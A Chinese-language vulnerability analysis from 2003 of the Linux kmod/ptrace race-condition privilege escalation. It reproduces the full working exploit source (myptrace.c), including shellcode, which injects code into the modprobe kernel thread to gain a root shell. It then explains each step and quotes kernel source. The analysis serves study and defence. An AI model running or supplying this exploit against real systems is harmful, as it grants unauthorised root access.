| 摘自<kernel-hacking@whitecell.org> 
 代码:
 ptrace安全漏洞分析
 作者:noble_shi
 信箱:noble_shi@21cn.com
 时间:2003-3-21
 版本:0.0.1
 说明:
 1.	本文可自由转贴、修改,2.	不3.	过请保留该头。
 4.	由于水平有限,5.	难免有错误之处,6.	如若发现,7.	请和作者联系,8.	忠心欢迎批评指9.	正。
 目录:
 1.	ptrace介绍
 2.	Linux Kernel kmod/ptrace竞争条件权限提升漏洞分析
 3.	针对该溢出代码的补充说明
 4.	对ptrace安全性的分析
 5.参考资料
 
 
 1.	ptrace介绍
 为方便应用软件的开发和调试,从unix的早期版本开始就提供了一种对运行中的进程进行跟踪和控制的手段,那就是系统调用ptrace()。通过ptrace(),一个进程可以动态地读/写另一个进程地内存和寄存器,包括其指令空间、数据空间、堆栈以及所有的寄存器。与信号机制(以及其他手段)相结合,就可以实现一个进程在另一个进程的控制和跟踪下运行的目的。GNU的调试工具gdb就是一个典型的实例。
 
 ptrace()的系统调用格式如下:
 long int ptrace(enum __ptrace_request request, pid_t pid, void * addr, void * data);
 参数pid为进程号,指明了操作的对象,而request,则是具体的操作,文件include/linux/ptrace.h中定义了所有可能的操作码:
 
 #define PTRACE_TRACEME		   0
 #define PTRACE_PEEKTEXT		   1
 #define PTRACE_PEEKDATA		   2
 #define PTRACE_PEEKUSR		   	   3
 #define PTRACE_POKETEXT		   4
 #define PTRACE_POKEDATA		   5
 #define PTRACE_POKEUSR		   	   6
 #define PTRACE_CONT		       7
 #define PTRACE_KILL		   		   8
 #define PTRACE_SINGLESTEP	  	   9
 
 #define PTRACE_ATTACH			   0x10
 #define PTRACE_DETACH		 	   0x11
 
 #define PTRACE_SYSCALL		  	   24
 
 跟踪者先要通过PTRACE_ATTACH与被跟踪进程建立起关系,或者说“Attach”到被跟踪进程。然后,就可以通过各种PEEK和POKE操作来读/写被跟踪进程的指令空间、数据空间或者各个寄存器,每次都时一个长字,由addr指明其地址;或者,也可以通过PTRACE_SINGLESTEP、PTRACE_KILL、PTRACE_SYSCALL和PTRACE_CONT等操作来控制被跟踪进程的运行。最后,通过PTRACE_DETACH跟被跟踪进程脱离关系。
 
 2.	Linux Kernel kmod/ptrace竞争条件权限提升漏洞分析
 当进程请求的功能在模块中的情况下,内核就会派生一子进程,并把子进程的euid和egid设置为0并调用execve("/sbin/modprobe")。问题是在子进程euid改变为0前可以被ptrace()挂接调试,因此攻击者可以插入任意代码到进程中并以root用户的权限运行。
 为了方便期间,我们从源代码入手,分析该漏洞。其源码如下:
 
 // --program name		: 	myptrace.c
 1 #include <grp.h>
 2 #include <stdio.h>
 3 #include <fcntl.h>
 4 #include <errno.h>
 5 #include <paths.h>
 6 #include <string.h>
 7 #include <stdlib.h>
 8 #include <signal.h>
 9 #include <unistd.h>
 10 #include <sys/wait.h>
 11 #include <sys/stat.h>
 12 #include <sys/param.h>
 13 #include <sys/types.h>
 14 #include <sys/ptrace.h>
 15 #include <sys/socket.h>
 16 #include <linux/user.h>
 17
 18 char cliphcode[] =
 19         "\x90\x90\xeb\x1f\xb8\xb6\x00\x00"
 20         "\x00\x5b\x31\xc9\x89\xca\xcd\x80"
 21         "\xb8\x0f\x00\x00\x00\xb9\xed\x0d"
 22         "\x00\x00\xcd\x80\x89\xd0\x89\xd3"
 23         "\x40\xcd\x80\xe8\xdc\xff\xff\xff";
 24         /*__NR_chown
 25          *__NR_lchown
 26          *__NR_exit
 27          */
 28
 29 #define CODE_SIZE (sizeof(cliphcode) - 1)
 30
 31 pid_t parent = 1;
 32 pid_t child = 1;
 33 pid_t victim = 1;
 34 volatile int gotchild = 0;
 35
 36 void fatal(char * msg)
 37 {
 38         perror(msg);
 39         kill(parent, SIGKILL);
 40         kill(child, SIGKILL);
 41         kill(victim, SIGKILL);
 42 }
 43
 44 void putcode(unsigned long * dst)
 45 {
 46         char buf[MAXPATHLEN + CODE_SIZE];
 47         unsigned long * src;
 48         int i, len;
 49
 50         memcpy(buf, cliphcode, CODE_SIZE);
 51         len = readlink("/proc/self/exe", buf + CODE_SIZE, MAXPATHLEN - 1);
 52         if (len == -1)
 53                 fatal("[-] Unable to read /proc/self/exe");
 54
 55         len += CODE_SIZE + 1;
 56         buf[len] = '\0';
 57
 58         src = (unsigned long*) buf;
 59         for (i = 0; i < len; i += 4)
 60                 if (ptrace(PTRACE_POKETEXT, victim, dst++, *src++) == -1)
 61                         fatal("[-] Unable to write shellcode");
 62 }
 63
 64 void sigchld(int signo)
 65 {
 66         struct user_regs_struct regs;
 67
 68         if (gotchild++ == 0)
 69                 return;
 70
 71         fprintf(stderr, "[+] Signal caught\n");
 72
 73         if (ptrace(PTRACE_GETREGS, victim, NULL, ®s) == -1)
 74                 fatal("[-] Unable to read registers");
 75
 76         fprintf(stderr, "[+] Shellcode placed at 0x%08lx\n", regs.eip);
 77
 78         putcode((unsigned long *)regs.eip);
 79
 80         fprintf(stderr, "[+] Now wait for suid shell...\n");
 81
 82         if (ptrace(PTRACE_DETACH, victim, 0, 0) == -1)
 83                 fatal("[-] Unable to detach from victim");
 84
 85         exit(0);
 86 }
 87
 88 void sigalrm(int signo)
 89 {
 90         errno = ECANCELED;
 91         fatal("[-] Fatal error");
 92 }
 93
 94 void do_child(void)
 95 {
 96         int err;
 97
 98         child = getpid();
 99         victim = child + 1;//child +1为估计的内核进程的PID
 100
 101         signal(SIGCHLD, sigchld);
 102
 103         do
 104                 err = ptrace(PTRACE_ATTACH, victim, 0, 0);
 105         while (err == -1 && errno == ESRCH);//一直等待ptrace内核进程
 106
 107         if (err == -1)
 108                 fatal("[-] Unable to attach");
 109
 110         fprintf(stderr, "[+] Attached to %d\n", victim);
 111         while (!gotchild) ;
 112         if (ptrace(PTRACE_SYSCALL, victim, 0, 0) == -1)
 113                 fatal("[-] Unable to setup syscall trace");
 114         fprintf(stderr, "[+] Waiting for signal\n");
 115
 116         for(;;);
 117 }
 118
 119 void do_parent(char * progname)
 120 {
 121         struct stat st;
 122         int err;
 123         errno = 0;
 124         socket(AF_SECURITY, SOCK_STREAM, 1);//产生modprobe请求
 125         do {
 126                 err = stat(progname, &st);
 127         } while (err == 0 && (st.st_mode & S_ISUID) != S_ISUID);
 //假如不是s的就一直测试
 128
 129         if (err == -1)
 130                 fatal("[-] Unable to stat myself");
 131
 132         alarm(0);
 133         system(progname);
 134 }
 135
 136 void prepare(void)
 137 {
 138         if (geteuid() == 0) {
 139                 initgroups("root", 0);
 140                 setgid(0);
 141                 setuid(0);
 142                 execl(_PATH_BSHELL, _PATH_BSHELL, NULL);
 143                 fatal("[-] Unable to spawn shell");
 144         }
 145 }
 146
 147 int main(int argc, char ** argv)
 148 {
 149         prepare();
 150         signal(SIGALRM, sigalrm);
 151         alarm(10);//10 s以后产生一个SIGALRM信号
 152
 153         parent = getpid();
 154         child = fork();
 155         victim = child + 1;//child +1为估计的内核进程的PID
 156
 157         if (child == -1)
 158	fatal("[-] Unable to fork");
 159
 160         if (child == 0)
 161                 do_child();
 162         else
 163                 do_parent(argv[0]);
 164
 165         return 0;
 166 }
 
 分析:
 首先,该进程派生一个子进程(154行),然后子进程调用函数do_child();父进程调用函数do_parent()。
 在do_parent()中,调用一个特殊域的socket函数(124行),内核此时会寻找该模块支持,并调用函数request_module()(该函数位于kernel/kmod.c)主动的启动模块安装。该函数会调用kernel_thread(exec_modprobe,(void *)module_name, 0)来创建内核线程(其实是调用系统调用clone()来创建一个内核进程)。该内核线程运行的函数是exec_modprobe(),该函数在kernel/kmod.c中定义:
 
 1 static int exec_modprobe(void * module_name)
 2 {
 3         static char * envp[] = { "HOME=/", "TERM=linux", "PATH=/sbin:/usr/sbin:/bin:/usr/bin", NULL };
 4         char *argv[] = { modprobe_path, "-s", "-k", "--", (char*)module_name, NULL };
 5         int ret;
 6
 7         ret = exec_usermodehelper(modprobe_path, argv, envp);
 8         if (ret) {
 9                 printk(KERN_ERR
 10                        "kmod: failed to exec %s -s -k %s, errno = %d\n",
 11                        modprobe_path, (char*) module_name, errno);
 12         }
 13         return ret;
 14 }
 
 这里的modprobe_path就是路径名/sbin/modprobe,所以,如果module_name为mymodule的话,这里的argv[]就相当于命令:
 /sbin/modprobe	-s	-k	mymodule
 选择项-s表示在安装过程中产生的信息应当写入系统的运行日值,而不要在控制终端上显示;-k表示安装时的MOD_AUTOCLEAN标志位设成1。
 
 函数exe_usermodehelper()的代码也在同一文件(kmod.c)中:
 
 1
 2 int exec_usermodehelper(char *program_path, char *argv[], char *envp[])
 3 {
 4         int i;
 5         struct task_struct *curtask = current;
 6
 7         curtask->session = 1;
 8         curtask->pgrp = 1;
 9
 10         use_init_fs_context();
 11
 12         /* Prevent parent user process from sending signals to child.
 13            Otherwise, if the modprobe program does not exist, it might
 14            be possible to get a user defined signal handler to execute
 15            as the super user right after the execve fails if you time
 16            the signal just right.
 17         */
 18         spin_lock_irq(&curtask->sigmask_lock);
 19         sigemptyset(&curtask->blocked);
 20         flush_signals(curtask);
 21         flush_signal_handlers(curtask);
 22         recalc_sigpending(curtask);
 23         spin_unlock_irq(&curtask->sigmask_lock);
 24
 25         for (i = 0; i < curtask->files->max_fds; i++ ) {
 26                 if (curtask->files->fd[i]) close(i);
 27         }
 28
 29         /* Drop the "current user" thing */
 30         {
 31                 struct user_struct *user = curtask->user;
 32                 curtask->user = INIT_USER;
 33                 atomic_inc(&INIT_USER->__count);
 34                 atomic_inc(&INIT_USER->processes);
 35                 atomic_dec(&user->processes);
 36                 free_uid(user);
 37         }
 38
 39         /* Give kmod all effective privileges.. */
 40         curtask->euid = curtask->fsuid = 0;
 41         curtask->egid = curtask->fsgid = 0;
 42         cap_set_full(curtask->cap_effective);
 43
 44         /* Allow execve args to be in kernel space. */
 45         set_fs(KERNEL_DS);
 46
 47         /* Go, go, go... */
 48         if (execve(program_path, argv, envp) < 0)
 49                 return -errno;
 50         return 0;
 51 }
 52
 
 这段代码是在内核线程exec_modprobe()的上下文运行的,所以这里的current指向这个内核线程的task_struct结构,而与创建这个线程时的current不同,那时候的current指向当时的当前进程,即exec_modprobe()的父进程。内核线程exec_modprobe()从其父进程继承了绝大部分资源和特性,包括它的fs_struct的内容和打开的所有文件,以及它的进程号、组号,还有所有的特权。
 但是这些特性在这个函数里大多被拚弃了(见源码的19行到42行,这里设置了该内核线程的信号、euid	、egid等,使之变成超级用户),不过在拚弃这些特性之前之前,我们的父进程,或同组进程是应该可以调试该内核线程的。漏洞也就在这里。
 
 我们再回到myptrace.c中,来看看myptrace.c中的do_child()函数。
 该函数调用do-while()语句一直等待(103行-105行),直到要调试的程序(也就是父进程派生的那个内核线程)出现,在该线程刚刚出现还没有拚弃父进程的特性(主要是uid, gid, euid, egid等)之前,子进程可以调试该内核线程,所以子进程就可以调用ptrace()系统调用ATTACH该内核线程。然后,如上所述,该内核线程就会拚其父进程的特性,变成超级用户。
 接下来,子进程利用信号处理程序,调用函数putcode() 向该内核线程的空间写入一些代码,当内核线程再次运行时,就会执行这段代码,使我们的程序变成所有者为root,并设置了“set_uid”标示位。
 
 再看我们的父进程在do_parent()中一直监视自身文件(125行-127行),一旦状态改变,就调用函数system()重新运行自身文件,此时在main()函数中会运行parent()函数,该函数即运行了一个超级用户的shell。
 
 3.针对该溢出代码的补充说明。
 为什么我们不在ATTACH到内核线程后立即向该内核线程中注入数据,而是还要等待下一个系统调用之前呢?即源码的112行为什么要调用:
 ptrace(PTRACE_SYSCALL, victim, 0, 0);
 
 这是因为如果在刚刚ATTACH后,我们就取得指向用户空间的eip时(源码73行),即用:
 ptrace(PTRACE_GETREGS, victim, NULL, ®s) ;
 取得的eip值是:0xc0bf1ef8(红帽子7.2下的值),这是指向系统空间的,是我们进程不可写的空间,所以我们不能向这里注入我们的代码。
 为什么此时eip会指向系统空间呢?PTRACE_GETREGS命令取得的可是进程进入系统空间前的用户空间的eip值呀?我分析其原因这和系统相应信号的时机有关系。
 系统相应信号的时机大多是在系统调用返回前夕,此时进程的执行路线有两个可能:
 A:从用户->内核->用户,此时响应了信号。
 B:从内核->内核->用户,此时相应了信号。
 如果是A的话,当然应该没问题了,但是如果是B的话,那就会出项上面的情况,即我们取得的eip是指向系统空间的。
 
 4.对ptrace安全性的分析。
 通过分析该漏洞,和去年ptrace的漏洞(略,参见参考资料部分),对我有以下启发:
 (1)ptrace()漏洞的实质是要能够用ptrace()系统调用调试一个具有超级权限的进程。
 本次的漏洞是调试了一个具有超级权限的内核线程,上次的漏洞是调试了/usr/bin/passwd
 具有超级权限的进程。
 (2)ptrace()漏洞利用的基本方法是向调试的具有超级权限的进程中注入(利用ptrace()系统调用写入)一些代码,将某个程序(或自身程序)设置为所有者为root,且具有“set_uid”表示。
 (3)要利用普通用户调试具有超级权限的进程是有条件的。
 本次漏洞是利用了/sbin/modprobe变成超级进程前,我们可以利用普通用户调试一个具有普通权限的进程。
 上次漏洞是利用了超级用户()(普通用户通过运行/usr/bin/newgrp得到)可以调试具有超级权限的进程(普通用户运行/usr/bin/passwd得到)。
 
 综上所述,我们可以看出,ptrace()漏洞利用的关键在于怎样能够使得一个普通用户可以调试一个具有超级权限的进程。
 
 5.参考资料:
 http://www.airarms.org/bbs/viewthread.php?tid=197
 去年ptrace漏洞的利用程序和详细说明。
 http://www.nsfocus.net/index.php?act=sec_bug&do=view&bug_id=4570
 这次ptrace漏洞的利用程序和详细说明。
 
 
 
 
 |